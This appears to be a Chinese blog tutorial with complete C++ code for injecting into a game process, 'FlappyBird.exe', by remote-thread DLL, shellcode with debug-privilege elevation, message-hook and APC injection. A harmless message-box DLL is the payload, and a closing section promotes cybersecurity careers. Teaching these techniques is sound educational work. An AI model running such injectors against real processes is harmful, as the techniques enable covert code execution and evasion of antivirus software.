Windows PC端动态注入(远程线程、消息钩子、APC)
说明:实现注入进程“FlappyBird.exe”,实现弹窗。完整代码在文末。
文章目录
- Windows PC端动态注入(远程线程、消息钩子、APC)
-
* 远程线程注入
-
* 注入DLL
- 注入Shellcode
- 消息钩子注入DLL
- APC注入DLL
- 完整代码
-
* inject.cpp
- dllmain.cpp
-
远程线程注入
注入DLL
首先需要一个事先准备好的DLL文件testDLL.dll,用vs2019创建一个DLL工程,在程序入口调用MessageBoxA()。
远程线程DLL注入的基本原理是利用Windows提供的API函数 CreateRemoteThread()
,实现在另外一个进程中注入一个线程,后续只要在线程体中执行加载testDLL.dll的操作,目标进程就会执行testDLL.dll中的代码了。
一个比较关键的问题是创建的远程线程是在目标进程中执行,无法调用本地函数,因此要利用系统API实现加载dll文件的操作。Win32程序在运行时都会加载
kernel32.dll
,而Windows默认同一个系统中dll的文件加载位置是固定的,因此kernel32.dll中的导出函数在任何进程的地址空间中的位置是固定的。动态加载dll文件需要系统API
LoadLibraryA()
,这个函数正好是kernel32.dll的导出函数。因此我们只需要在注射器程序中获取LoadLibraryA()的地址,令创建的远程线程执行LoadLibraryA(),传入参数testDLL.dll的路径,即可实现远程线程DLL注入。
具体实现步骤及部分源码如下(所有完整代码见文末):
1、根据进程名(“FlappyBird.exe”)查找进程ID
自己实现函数FindProcess(),入口参数:进程名、进程ID(出参);步骤如下:
调用 CreateToolhelp32Snapshot() 获取进程快照;传入参数
Th32CS_SNAPPROCESS用于指定“在快照中包含系统中所有的进程”
调用**Process32First()、Process32Next()**遍历进程信息,对进程名进行字符串比较直至与目标进程名相等。
//由进程名获取进程ID
bool FindProcess(const wchar_t* processName, DWORD& dwProcess) {
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
//获取进程快照
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
return false;
}
if (Process32First(hProcessSnap, &pe32)) {
do {
if (wcscmp(pe32.szExeFile, processName) == 0) {
dwProcess = pe32.th32ProcessID;
break;
}
} while (Process32Next(hProcessSnap, &pe32));
}
CloseHandle(hProcessSnap);
if(dwProcess == 0) {
return false;
}
return true;
}
2、调用 OpenProcess() 获取进程句柄,传入参数dwProcess(进程ID);调用 VirtualAllocEx()
在目标进程中为testDLL.dll的路径(字符串)分配内存空间(用于之后作为
LoadLibraryA的参数);调用**WriteProcessMemory()**将testDLL.dll的路径写入内存。
调用LoadLibrary()加载动态链接库“kernel32.dll”,调用GetProcAddress()获取“LoadLibraryA”的地址。
调用CreateRemoteThread()创建远程线程,传入参数LoadLibraryA()地址和存放testDLL.dll路径的内存地址。等待线程结束关闭句柄,释放内存空间。
//DLL远程线程注入
void CreateRemoteThread_Inject(){
DWORD dwProcess = 0;
char myDLL[] = "C:\\testDLL.dll";
//查找进程FlappyBird.exe
if(FindProcess(L"FlappyBird.exe", dwProcess)){
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcess); //打开进程
LPVOID allocatedMem = VirtualAllocEx(hProcess, NULL, sizeof(myDLL), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); //在进程中分配内存
WriteProcessMemory(hProcess, allocatedMem, myDLL, sizeof(myDLL), NULL); //写入DLL路径
HMODULE hModule = LoadLibrary(L"kernel32.dll"); //获取kernel32.dll模块句柄
//获取LoadLibraryA函数地址
LPTHREAD_START_ROUTINE pfnStarAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");
if(pfnStarAddress == NULL){
cout << "GetProcAddress failed" << endl;
return;
}
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, NULL, pfnStarAddress, allocatedMem, NULL, NULL); //创建远程线程
if(hRemoteThread == NULL){
cout << "CreateRemoteThread failed" << endl;
return;
}
WaitForSingleObject(hRemoteThread, INFINITE); //等待远程线程结束
CloseHandle(hRemoteThread);
VirtualFreeEx(hProcess, allocatedMem, 0, MEM_FREE);
}
return;
}
注入Shellcode
DLL注入实现虽然简单,但是会在目标进程加载一个模块,已经能够被多数杀软主动拦截;我们用**CreateRemoteThread()**函数实现DLL远程线程注入,也可以自己编写Shellcode实现注入,相对DLL来说隐蔽性更强。
注入shellcode的难点是,由于注入的代码要“写入”其他进程空间当中,因此不能使用任何全局变量、不能调用本地定义的函数、不能调用一些库函数等等。当然,shellcode使用栈空间的局部变量、使用系统API(
kernel32.dll )都是没有问题的,如果使用其他dll库的函数可以用kernel32.dll导出函数**LoadLibraryA()
加载对应的dll后,再使用 GetProcAddress()**获取函数地址。
远程线程注入shellcode的原理与注入DLL原理类似,都是使用**OpenProcess + VirtualAllocEx +
WriteProcessMemory + CreateRemoteThread
**的框架,关键在于shellcode的编写,以在目标进程执行MessageBox()为例,具体步骤和部分代码如下:
1、定义线程参数结构体,用于接收API(LoadLibraryA()和GetProcAddress()的地址)和参数(加载的dll名、调用的API、API的参数);定义函数指针;
//该结构体用于接收API和4个字符串
typedef struct _THREAD_PARAM {
FARPROC pFunc[2];
char szBuf[4][128];
} THREAD_PARAM, *PTHREAD_PARAM;
typedef HMODULE (WINAPI *PFLOADLIBRARYA)
(
LPCSTR lpLibFileName
); //定义LoadLibraryA函数指针
typedef FARPROC (WINAPI *PFGETPROCADDRESS)
(
HMODULE hModule,
LPCSTR lpProcName
); //定义GetProcAddress函数指针
typedef int (WINAPI *PFMESSAGEBOXA)
(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
); //定义MessageBoxA函数指针
2、编写shellcode,以上述结构体类型作为参数,依次调用API,实现调用MessageBoxA();
//线程函数
//未直接调用相关API和未直接定义使用字符串,而通过THREAD_PARAM结构体以线程参数的形式传递使用
DWORD WINAPI ThreadProc(LPVOID lpParam)
{
PTHREAD_PARAM pParam = (PTHREAD_PARAM)lpParam;
HMODULE hMod = NULL;
FARPROC pFunc = NULL;
hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]); //调用LoadLibraryA函数
if (hMod == NULL)
{
return 1;
}
pFunc = ((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]); //获取MessageBoxA函数地址
if (pFunc == NULL)
{
return 1;
}
((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], 0); //调用MessageBoxA函数
return 0;
}
3、实现提权函数 EnableDebugPrivilege()
bool EnableDebugPrivilege() {
HANDLE hToken;
TOKEN_PRIVILEGES tp;
//打开进程令牌
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
cout<<"OpenProcessToken failed"<<endl;
return false;
}
//获取LUID
if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) {
cout<<"LookupPrivilegeValue failed"<<endl;
return false ;
}
//设置权限
tp.PrivilegeCount = 1; //只设置一个权限
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //设置权限为启用,如果为SE_PRIVILEGE_REMOVED则为禁用
//修改进程令牌,提升权限,使得能够访问受保护的进程,如系统进程,其他用户进程等
if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
cout<<"AdjustTokenPrivileges failed"<<endl;
return false;
}
return true;
}
4、实现注入
准备好参数,使用CreatRemoteThread()框架实现注入,注意为代码申请的内存必须设置为可读可写可执行,注意将参数和shellcode都写入目标进程。
void CreateRemoteThread_shellcode()
{
EnableDebugPrivilege(); //提升权限
DWORD dwProcess = 0;
//查找进程FlappyBird.exe
if(FindProcess(L"FlappyBird.exe", dwProcess)){
HMODULE hMod = NULL;
THREAD_PARAM param = {0,}; //定义线程结构体变量
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
LPVOID pRemoteBuf[2] = {0,};
DWORD dwSize = 0;
hMod = GetModuleHandleA("kernel32.dll");
//设置THREAD_PARAM结构体
//加载到所有进程的kernel32.dll的地址都相同,因此从本进程获取的API与在目标进程中获取的API地址是一样的
param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
strcpy_s(param.szBuf[0], "user32.dll");
strcpy_s(param.szBuf[1], "MessageBoxA");
strcpy_s(param.szBuf[2], "shellcode Success");
strcpy_s(param.szBuf[3], "inject");
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcess);
if (hProcess == NULL)
{
cout<<"OpenProcess failed"<<endl;
return;
}
//分配内存
dwSize = sizeof(THREAD_PARAM);
pRemoteBuf[0] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (pRemoteBuf[0] == NULL)
{
cout<<"VirtualAllocEx failed"<<endl;
return;
}
//将线程参数写入目标进程
if (!WriteProcessMemory(hProcess, pRemoteBuf[0], (LPVOID)¶m, dwSize, NULL))
{
cout<<"WriteProcessMemory failed"<<endl;
return;
}
dwSize = (DWORD)CreateRemoteThread_shellcode - (DWORD)ThreadProc; //计算shellcode大小
pRemoteBuf[1] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pRemoteBuf[1] == NULL)
{
cout<<"VirtualAllocEx failed"<<endl;
return;
}
//将shellcode写入目标进程
if (!WriteProcessMemory(hProcess, pRemoteBuf[1], (LPVOID)ThreadProc, dwSize, NULL))
{
cout<<"WriteProcessMemory failed"<<endl;
return;
}
//创建远程线程
hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)pRemoteBuf[1], //线程函数地址
pRemoteBuf[0], //线程参数地址
0, NULL
);
if (hThread == NULL)
{
cout<<"CreateRemoteThread failed"<<endl;
return;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
}
}
消息钩子注入DLL
消息钩子注入原理是利用Windows提供的**SetWindowsHookEx()**函数,它可以拦截进程的消息到指定的DLL中导出的函数,目标进程就会自动加载我们指定的DLL,利用这个特性可以实现消息钩子注入。
具体实现步骤和部分源码如下:
1、编写一个testDLL.dll用于Hook,在其中显式导出一个函数 NextHook() ;
//导出函数
extern "C" __declspec(dllexport) int NextHook(int code, WPARAM wParam, LPARAM lParam){
return CallNextHookEx(NULL, code, wParam, lParam);
}
2、在注射器中首先调用FindWindow()查找窗口“FlappyBird”获取窗口句柄;调用 GetWindowThreadProcessId()
获取进程ID和线程ID;调用 LoadLibraryEx() 加载testDLL.dll到自身进程,传入参数
DONT_RESOLVE_DLL_REFERENCES用于指定“不对DLL初始化”;调用**GetProcAddress() 获取钩子函数
NextHook()**的地址;
int SetWindowHookEx_inject() {
HWND hwnd = FindWindow(NULL, L"FlappyBird"); //查找窗口
if (hwnd == NULL) {
cout << "FindWindow failed" << endl;
return 1;
}
DWORD pid = NULL;
DWORD tid = GetWindowThreadProcessId(hwnd, &pid); //获取进程ID
if (tid == NULL) {
cout << "GetWindow tid/pid failed" << endl;
return 1;
}
HMODULE dll = LoadLibraryEx(L"C:\\testDLL.dll", NULL, DONT_RESOLVE_DLL_REFERENCES); //加载DLL
if (dll == NULL) {
cout << "LoadLibraryEx DLL failed" << endl;
return 1;
}
HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "NextHook"); //获取钩子函数地址
if (addr == NULL) {
cout << "GetProcAddress failed" << endl;
return 1;
}
HHOOK handle = SetWindowsHookEx(WH_GETMESSAGE, addr, dll, tid); //设置钩子
if (handle == NULL) {
cout << "SetWindowsHookEx failed" << endl;
return EXIT_FAILURE;
}
PostThreadMessage(tid, WM_NULL, 0, 0); //发送消息,触发钩子
cout<<"SetWindowsHookEx_inject success"<<endl;
cout<<"Press any key to unhook"<<endl;
getchar();
BOOL unhook = UnhookWindowsHookEx(handle); //卸载钩子
if (unhook == NULL) {
cout << "UnhookWindowsHookEx failed" << endl;
return EXIT_FAILURE;
}
return 0;
}
APC注入DLL
APC全称Asynchronous Procedure Call,叫异步过程调用,是指函数在特定现场中被异步执行,在操作系统中,APC是一种并发机制。
APC注入实现原理核心是利用 QueueUserApc()
这个API添加制定的回调函数到目标线程的APC队列中,系统会产生一个软中断,在线程下一次被调度/唤醒的时候,就会执行回调函数,因此我们只需要令
LoadLibraryW作为回调函数,并且传入参数dll路径,即可实现注入。
当然APC注入是有条件的,用户态下的APC请求想要执行,必须等待线程进入**“Alertable” 状态,而只有当线程调用特定函数(SleepEx,
SignalObjectAndWait, MsgWaitForMultipleObjectsEx,
WaitForMultipleObjectsEx或WaitForSingleObjectEx)时,才会进入 Alertable
状态,所以为了应对这种苛刻的条件,提高注入成功的机率同时缩短等待时间,我们 需要遍历进程的所有线程,并对每一个线程进行APC注入。**
具体实现步骤和部分源码如下:
1、根据进程名(“FlappyBird.exe”)查找进程ID并且获取所有的线程ID,获取线程ID的方法与查找进程ID类似;
//根据进程名获取进程ID及其所有线程ID
bool FindProcess2(const wchar_t* processName, DWORD& dwProcess, vector<DWORD>& dwThreads) {
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //创建进程快照
if (hProcessSnap == INVALID_HANDLE_VALUE) {
cout << "CreateToolhelp32Snapshot failed" << endl;
return false;
}
if (!Process32First(hProcessSnap, &pe32)) { //获取第一个进程信息
cout << "Process32First failed" << endl;
CloseHandle(hProcessSnap);
return false;
}
do {
if (wcscmp(pe32.szExeFile, processName) == 0) {
dwProcess = pe32.th32ProcessID;
break;
}
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
if (dwProcess == NULL) {
cout << "FindProcess failed" << endl;
return false;
}
THREADENTRY32 te32;
te32.dwSize = sizeof(THREADENTRY32);
HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); //创建线程快照
if (hThreadSnap == INVALID_HANDLE_VALUE) {
cout << "CreateToolhelp32Snapshot failed" << endl;
return false;
}
if (!Thread32First(hThreadSnap, &te32)) {
cout << "Thread32First failed" << endl;
CloseHandle(hThreadSnap);
return false;
}
do {
if (te32.th32OwnerProcessID == dwProcess) {
dwThreads.push_back(te32.th32ThreadID); //获取目标进程的所有线程ID
}
} while (Thread32Next(hThreadSnap, &te32));
CloseHandle(hThreadSnap);
if (dwThreads.size() == 0) {
cout << "FindThread failed" << endl;
return false;
}
return true;
}
2、调用OpenProcess()获取进程句柄,调用VirtuealAllocEx()为参数dll路径远程申请内存,调用WriteProcessMemory()写入dll路径;遍历所有线程,插入APC;具体插入步骤为:调用OpenThread()获取线程句柄,调用GetProcAddress()和GetModuleHandle()获取LoadLibraryW()地址,调用QueueUserAPC()实现插入APC。
void APC_Inject(){
DWORD pid;
vector<DWORD> tids; //需要获取进程所有的线程ID
if (FindProcess2(L"FlappyBird.exe", pid, tids)) {
HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
if (hProcess == NULL) {
cout << "OpenProcess failed" << endl;
return;
}
auto p = VirtualAllocEx(hProcess, NULL, 1<<12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); //在目标进程中申请内存
wchar_t buffer[] = L"C:\\testDLL.dll";
WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), NULL); //将DLL路径写入目标进程中
for(const auto& tid: tids){
HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
if (hThread == NULL) {
cout << "OpenThread failed" << endl;
return;
}
QueueUserAPC((PAPCFUNC)GetProcAddress(GetModuleHandle(L"kernel32"),"LoadLibraryW"),hThread,(ULONG_PTR)p); //将APC注入到目标进程中
}
VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);
}
}
完整代码
inject.cpp
#include <iostream>
#include <vector>
#include <Windows.h>
#include <TlHelp32.h>
#include <Psapi.h>
#include <string>
#include <tchar.h>
using namespace std;
//由进程名获取进程ID
bool FindProcess(const wchar_t* processName, DWORD& dwProcess) {
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
//获取进程快照
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
return false;
}
if (Process32First(hProcessSnap, &pe32)) {
do {
if (wcscmp(pe32.szExeFile, processName) == 0) {
dwProcess = pe32.th32ProcessID;
break;
}
} while (Process32Next(hProcessSnap, &pe32));
}
CloseHandle(hProcessSnap);
if(dwProcess == 0) {
return false;
}
return true;
}
//DLL远程线程注入
void CreateRemoteThread_Inject(){
DWORD dwProcess = 0;
char myDLL[] = "C:\\testDLL.dll";
//查找进程FlappyBird.exe
if(FindProcess(L"FlappyBird.exe", dwProcess)){
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcess); //打开进程
LPVOID allocatedMem = VirtualAllocEx(hProcess, NULL, sizeof(myDLL), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); //在进程中分配内存
WriteProcessMemory(hProcess, allocatedMem, myDLL, sizeof(myDLL), NULL); //写入DLL路径
HMODULE hModule = LoadLibrary(L"kernel32.dll"); //获取kernel32.dll模块句柄
//获取LoadLibraryA函数地址
LPTHREAD_START_ROUTINE pfnStarAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");
if(pfnStarAddress == NULL){
cout << "GetProcAddress failed" << endl;
return;
}
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, NULL, pfnStarAddress, allocatedMem, NULL, NULL); //创建远程线程
if(hRemoteThread == NULL){
cout << "CreateRemoteThread failed" << endl;
return;
}
WaitForSingleObject(hRemoteThread, INFINITE); //等待远程线程结束
CloseHandle(hRemoteThread);
VirtualFreeEx(hProcess, allocatedMem, 0, MEM_FREE);
}
return;
}
//***********************************************Shellcode远程线程注入***********************************************
bool EnableDebugPrivilege() {
HANDLE hToken;
TOKEN_PRIVILEGES tp;
//打开进程令牌
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
cout<<"OpenProcessToken failed"<<endl;
return false;
}
//获取LUID
if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) {
cout<<"LookupPrivilegeValue failed"<<endl;
return false ;
}
//设置权限
tp.PrivilegeCount = 1; //只设置一个权限
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //设置权限为启用,如果为SE_PRIVILEGE_REMOVED则为禁用
//修改进程令牌,提升权限,使得能够访问受保护的进程,如系统进程,其他用户进程等
if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
cout<<"AdjustTokenPrivileges failed"<<endl;
return false;
}
return true;
}
//该结构体用于接收API和4个字符串
typedef struct _THREAD_PARAM {
FARPROC pFunc[2];
char szBuf[4][128];
} THREAD_PARAM, *PTHREAD_PARAM;
typedef HMODULE (WINAPI *PFLOADLIBRARYA)
(
LPCSTR lpLibFileName
); //定义LoadLibraryA函数指针
typedef FARPROC (WINAPI *PFGETPROCADDRESS)
(
HMODULE hModule,
LPCSTR lpProcName
); //定义GetProcAddress函数指针
typedef int (WINAPI *PFMESSAGEBOXA)
(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
); //定义MessageBoxA函数指针
//线程函数
//未直接调用相关API和未直接定义使用字符串,而通过THREAD_PARAM结构体以线程参数的形式传递使用
DWORD WINAPI ThreadProc(LPVOID lpParam)
{
PTHREAD_PARAM pParam = (PTHREAD_PARAM)lpParam;
HMODULE hMod = NULL;
FARPROC pFunc = NULL;
hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]); //调用LoadLibraryA函数
if (hMod == NULL)
{
return 1;
}
pFunc = ((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]); //获取MessageBoxA函数地址
if (pFunc == NULL)
{
return 1;
}
((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], 0); //调用MessageBoxA函数
return 0;
}
//shellcode 注入
void CreateRemoteThread_shellcode()
{
EnableDebugPrivilege(); //提升权限
DWORD dwProcess = 0;
//查找进程FlappyBird.exe
if(FindProcess(L"FlappyBird.exe", dwProcess)){
HMODULE hMod = NULL;
THREAD_PARAM param = {0,}; //定义线程结构体变量
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
LPVOID pRemoteBuf[2] = {0,};
DWORD dwSize = 0;
hMod = GetModuleHandleA("kernel32.dll");
//设置THREAD_PARAM结构体
//加载到所有进程的kernel32.dll的地址都相同,因此从本进程获取的API与在目标进程中获取的API地址是一样的
param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
strcpy_s(param.szBuf[0], "user32.dll");
strcpy_s(param.szBuf[1], "MessageBoxA");
strcpy_s(param.szBuf[2], "shellcode Success");
strcpy_s(param.szBuf[3], "inject");
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcess);
if (hProcess == NULL)
{
cout<<"OpenProcess failed"<<endl;
return;
}
//分配内存
dwSize = sizeof(THREAD_PARAM);
pRemoteBuf[0] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (pRemoteBuf[0] == NULL)
{
cout<<"VirtualAllocEx failed"<<endl;
return;
}
//将线程参数写入目标进程
if (!WriteProcessMemory(hProcess, pRemoteBuf[0], (LPVOID)¶m, dwSize, NULL))
{
cout<<"WriteProcessMemory failed"<<endl;
return;
}
dwSize = (DWORD)CreateRemoteThread_shellcode - (DWORD)ThreadProc; //计算shellcode大小
pRemoteBuf[1] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pRemoteBuf[1] == NULL)
{
cout<<"VirtualAllocEx failed"<<endl;
return;
}
//将shellcode写入目标进程
if (!WriteProcessMemory(hProcess, pRemoteBuf[1], (LPVOID)ThreadProc, dwSize, NULL))
{
cout<<"WriteProcessMemory failed"<<endl;
return;
}
//创建远程线程
hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)pRemoteBuf[1], //线程函数地址
pRemoteBuf[0], //线程参数地址
0, NULL
);
if (hThread == NULL)
{
cout<<"CreateRemoteThread failed"<<endl;
return;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
}
}
//***********************************************消息钩子注入***********************************************
int SetWindowHookEx_inject() {
HWND hwnd = FindWindow(NULL, L"FlappyBird"); //查找窗口
if (hwnd == NULL) {
cout << "FindWindow failed" << endl;
return 1;
}
DWORD pid = NULL;
DWORD tid = GetWindowThreadProcessId(hwnd, &pid); //获取进程ID
if (tid == NULL) {
cout << "GetWindow tid/pid failed" << endl;
return 1;
}
HMODULE dll = LoadLibraryEx(L"C:\\testDLL.dll", NULL, DONT_RESOLVE_DLL_REFERENCES); //加载DLL
if (dll == NULL) {
cout << "LoadLibraryEx DLL failed" << endl;
return 1;
}
HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "NextHook"); //获取钩子函数地址
if (addr == NULL) {
cout << "GetProcAddress failed" << endl;
return 1;
}
HHOOK handle = SetWindowsHookEx(WH_GETMESSAGE, addr, dll, tid); //设置钩子
if (handle == NULL) {
cout << "SetWindowsHookEx failed" << endl;
return EXIT_FAILURE;
}
PostThreadMessage(tid, WM_NULL, 0, 0); //发送消息,触发钩子
cout<<"SetWindowsHookEx_inject success"<<endl;
cout<<"Press any key to unhook"<<endl;
getchar();
BOOL unhook = UnhookWindowsHookEx(handle); //卸载钩子
if (unhook == NULL) {
cout << "UnhookWindowsHookEx failed" << endl;
return EXIT_FAILURE;
}
return 0;
}
//***********************************************APC注入***********************************************
//根据进程名获取进程ID及其所有线程ID
bool FindProcess2(const wchar_t* processName, DWORD& dwProcess, vector<DWORD>& dwThreads) {
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //创建进程快照
if (hProcessSnap == INVALID_HANDLE_VALUE) {
cout << "CreateToolhelp32Snapshot failed" << endl;
return false;
}
if (!Process32First(hProcessSnap, &pe32)) { //获取第一个进程信息
cout << "Process32First failed" << endl;
CloseHandle(hProcessSnap);
return false;
}
do {
if (wcscmp(pe32.szExeFile, processName) == 0) {
dwProcess = pe32.th32ProcessID;
break;
}
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
if (dwProcess == NULL) {
cout << "FindProcess failed" << endl;
return false;
}
THREADENTRY32 te32;
te32.dwSize = sizeof(THREADENTRY32);
HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); //创建线程快照
if (hThreadSnap == INVALID_HANDLE_VALUE) {
cout << "CreateToolhelp32Snapshot failed" << endl;
return false;
}
if (!Thread32First(hThreadSnap, &te32)) {
cout << "Thread32First failed" << endl;
CloseHandle(hThreadSnap);
return false;
}
do {
if (te32.th32OwnerProcessID == dwProcess) {
dwThreads.push_back(te32.th32ThreadID); //获取目标进程的所有线程ID
}
} while (Thread32Next(hThreadSnap, &te32));
CloseHandle(hThreadSnap);
if (dwThreads.size() == 0) {
cout << "FindThread failed" << endl;
return false;
}
return true;
}
void APC_Inject(){
DWORD pid;
vector<DWORD> tids; //需要获取进程所有的线程ID
if (FindProcess2(L"FlappyBird.exe", pid, tids)) {
HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
if (hProcess == NULL) {
cout << "OpenProcess failed" << endl;
return;
}
auto p = VirtualAllocEx(hProcess, NULL, 1<<12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); //在目标进程中申请内存
wchar_t buffer[] = L"C:\\testDLL.dll";
WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), NULL); //将DLL路径写入目标进程中
for(const auto& tid: tids){
HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
if (hThread == NULL) {
cout << "OpenThread failed" << endl;
return;
}
QueueUserAPC((PAPCFUNC)GetProcAddress(GetModuleHandle(L"kernel32"),"LoadLibraryW"),hThread,(ULONG_PTR)p); //将APC注入到目标进程中
}
VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);
}
}
int main()
{
printf("Inject\n");
CreateRemoteThread_Inject();
//CreateRemoteThread_shellcode();
//SetWindowHookEx_inject();
//APC_Inject();
printf("执行结束\n");
getchar();
return 0;
}
dllmain.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
//在DLL入口点中调用MessageBoxA
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"Inject", L"注射成功", MB_OK);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
//导出函数
extern "C" __declspec(dllexport) int NextHook(int code, WPARAM wParam, LPARAM lParam){
return CallNextHookEx(NULL, code, wParam, lParam);
}
题外话
初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:
2023届全国高校毕业生预计达到1158万人,就业形势严峻;
国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。
一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。
6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。
2022届大学毕业生月收入较高的前10个专业
本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。
具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。
网络安全行业特点
1、就业薪资非常高,涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!
2、人才缺口大,就业机会多
2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
行业发展空间大,岗位非常多
网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
